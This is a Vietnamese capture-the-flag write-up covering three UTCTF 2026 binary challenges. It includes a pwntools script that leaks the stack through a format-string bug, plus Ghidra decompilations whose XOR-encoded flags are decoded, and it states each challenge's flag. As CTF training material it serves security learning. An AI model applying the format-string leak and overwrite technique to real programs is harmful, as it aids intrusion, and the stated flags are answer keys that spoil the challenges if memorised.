UTCCTF Write UP 2026

Write up Small Blind - Binary Exploit 2025
Author: niddalA
Date: 13/03/2026

Phân tích
Bài chỉ cho một link kết nối tới server và nói chúng ta sẽ chơi poker
Đầu tiên sẽ kết nối tới server
Về luật chơi của Poker hãy xem link sau:
https://youtu.be/CpSewSHZhmo
Quay lại với bài tác giả không muốn chúng ta thắng như bình thường
bây giờ hãy khai thác chương trình khi chúng ta nhập input ở Enter your name:
Ở đây chương trình đã mắc lỗi Format-String ở mục nhập tên thay vì in lại %p thì nó lại in ra các địa chỉ như: 0x16.
Tiếp tục ta có thể dùng %n để ghi đè giá trị của biến chips của bản thân.
Để làm như thế thì dùng ta cần phải biết biến chips nằm ở đâu.
Sau khi thử với %p và %s tôi không tìm được chips nằm ở đâu, sau khi hỏi tác giả, author gợi ý dùng %x
Ta dùng pwntools để làm việc này:
from pwn import *
def find_chips_with_hex():
context.log_level = 'error'
p = remote('challenge.utctf.live', 7255)
# Gửi một chuỗi dài các %x để soi toàn bộ Stack dưới dạng Hex
# Chúng ta tìm số 1f4 (500) hoặc 3e8 (1000)
payload = "START." + ".%x"*40
p.sendlineafter(b"name: ", payload.encode())
p.recvuntil(b"Welcome to the table, START.")
data = p.recvuntil(b"!", drop=True).decode()
p.close()
parts = data.split('.')
print("\n[!] Stack View (Hex):")
for i, val in enumerate(parts):
if i == 0: continue
# 1f4 là 500 chip
if "1f4" in val.lower():
print(f"Index {i:2}: {val} <-- CÓ THỂ LÀ BIẾN CHIPS!")
else:
print(f"Index {i:2}: {val}")
find_chips_with_hex()
Chạy chương trình ta thấy
Nghi ngờ các index 1,6,7,8,9,13
Sau khi test ta xác nhận index 7
Exploit
Sau khi trigger được hệ thống:
Ta tiếp tục exploit
Ở đây ta đã đạt được mục đích của tác giả bằng chứng là tới bước này ta không cần chơi poker và chọn n
Mục đích chỉ là có chips cực lớn vượt quá chips có thể thắng một cách 'bình thường' => FLAG!!!
FLAG: utflag{counting_chars_not_cards}
Write up House Of Joy
Author: niddalA
Date: 13/03/2026

Phân tích
Challenge cung cấp cho chúng ta một file binary
Tiếp theo hãy dùng Ghidra để phân tích nó
Ta đã có source code:
undefined8 main(void)
{
size_t sVar1;
int local_5c;
char local_58 [76];
int local_c;
setup();
local_c = -0x21524111;
printf("What is your name? ");
fgets(local_58,0x40,stdin);
sVar1 = strcspn(local_58,"\n");
local_58[sVar1] = '\0';
printf("Hello, ");
printf(local_58);
puts("!");
printf("Enter the secret code: ");
__isoc99_scanf(&DAT_0010203c,&local_5c);
if (local_5c == local_c) {
print_flag();
}
else {
puts("Wrong! Nice try.");
}
return 0;
}
Ở đây vì chương trình cho chúng ta file binary và chúng ta chạy local và có flag thay vì cố gắng tìm lỗi ta hãy tìm luôn flag vì nó đã được tải về theo.
Phân tích ta thấy hàm print_flag() ta tiếp tục tìm đến nó:

void print_flag(void)
{
byte local_28 [28];
int local_c;
local_28[0] = 0x37;
local_28[1] = 0x36;
local_28[2] = 0x24;
local_28[3] = 0x2e;
local_28[4] = 0x23;
local_28[5] = 0x25;
local_28[6] = 0x39;
local_28[7] = 0x24;
local_28[8] = 0x72;
local_28[9] = 0x30;
local_28[10] = 0x2f;
local_28[0xb] = 0x76;
local_28[0xc] = 0x36;
local_28[0xd] = 0x1d;
local_28[0xe] = 0x31;
local_28[0xf] = 0x36;
local_28[0x10] = 0x30;
local_28[0x11] = 0x73;
local_28[0x12] = 0x2c;
local_28[0x13] = 0x25;
local_28[0x14] = 0x1d;
local_28[0x15] = 0x2e;
local_28[0x16] = 0x71;
local_28[0x17] = 0x76;
local_28[0x18] = 0x29;
local_28[0x19] = 0x71;
local_28[0x1a] = 0x26;
local_28[0x1b] = 0x3f;
for (local_c = 0; local_c < 0x1c; local_c = local_c + 1) {
putchar((uint)(local_28[local_c] ^ 0x42));
}
putchar(10);
return;
}
Ở đây thuật toán sẽ là 0x37 ^ 0x42 = 0x75 -> u
Cứ thế ta sẽ được chuỗi FLAG!!!
FLAG: utflag{f0rm4t_str1ng_l34k3d}
Write up Rude Guard
Author: niddalA
Date: 13/03/2026
Ở Challange này tiếp tục cung cấp cho chúng ta file binary
Dùng ghidra để xem được source code của chương trình.
Tìm hàm main và ta được Source Code:
undefined8 main(int param_1,long param_2)
{
int iVar1;
if (param_1 == 1) {
puts("Are you not going to say hello?");
}
else {
iVar1 = atoi(*(char **)(param_2 + 8));
if (iVar1 == 0x656c6c6f) {
puts("Hi. What do you want.");
read_input(0);
}
else {
puts("Hi. Go away.");
}
}
return 0;
}
Tiếp theo chúng ta xem hàm read_input() làm những gì

undefined8 read_input(int param_1)
{
int iVar1;
char local_28 [32];
read(param_1,local_28,100);
iVar1 = strcmp(local_28,"givemeflag\n");
if (iVar1 == 0) {
puts("How rude! utflag{you\'re going to need a sneakier way in...}");
}
else {
puts("I won\'t let you pass. No matter what.");
}
return 0;
}
Ở đây ta nhận được chuỗi flag giả là: utflag{you\'re going to need a sneakier way in...}
Ta thấy trong main chỉ có hàm read_input được gọi nhưng bây giờ hãy thử tìm kiếm hàm ẩn bằng lệnh sau:
Ở đây thay vì cố gắng NOP để vào nó ta tìm kiếm nó luôn trong ghidra vì challenge không bắt chúng ta chạy trên server nên chắc chắn flag sẽ load luôn vào khi ta tải file.
Source Code:
undefined8 secret_function(void)
{
byte local_48 [52];
int local_14;
byte local_d;
int local_c;
local_d = 0x32;
local_48[0] = 0x47;
local_48[1] = 0x46;
local_48[2] = 0x54;
local_48[3] = 0x5e;
local_48[4] = 0x53;
local_48[5] = 0x55;
local_48[6] = 0x49;
local_48[7] = 0x55;
local_48[8] = 0x47;
local_48[9] = 6;
local_48[10] = 0x40;
local_48[0xb] = 0x56;
local_48[0xc] = 0x6d;
local_48[0xd] = 0x45;
local_48[0xe] = 6;
local_48[0xf] = 0x41;
local_48[0x10] = 0x6d;
local_48[0x11] = 0x45;
local_48[0x12] = 1;
local_48[0x13] = 6;
local_48[0x14] = 0x59;
local_48[0x15] = 0x57;
local_48[0x16] = 0x40;
local_48[0x17] = 0x6d;
local_48[0x18] = 0x46;
local_48[0x19] = 0x5a;
local_48[0x1a] = 6;
local_48[0x1b] = 0x5c;
local_48[0x1c] = 0x6d;
local_48[0x1d] = 0x5b;
local_48[0x1e] = 0x6d;
local_48[0x1f] = 0x46;
local_48[0x20] = 0x5a;
local_48[0x21] = 2;
local_48[0x22] = 0x47;
local_48[0x23] = 0x55;
local_48[0x24] = 0x5a;
local_48[0x25] = 0x46;
local_48[0x26] = 0x4f;
local_14 = 0x27;
for (local_c = 0; local_c < local_14; local_c = local_c + 1) {
putchar((uint)(local_48[local_c] ^ local_d));
}
return 0;
}
Tính toán ta sẽ ra FLAG!!!
FLAG: utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}





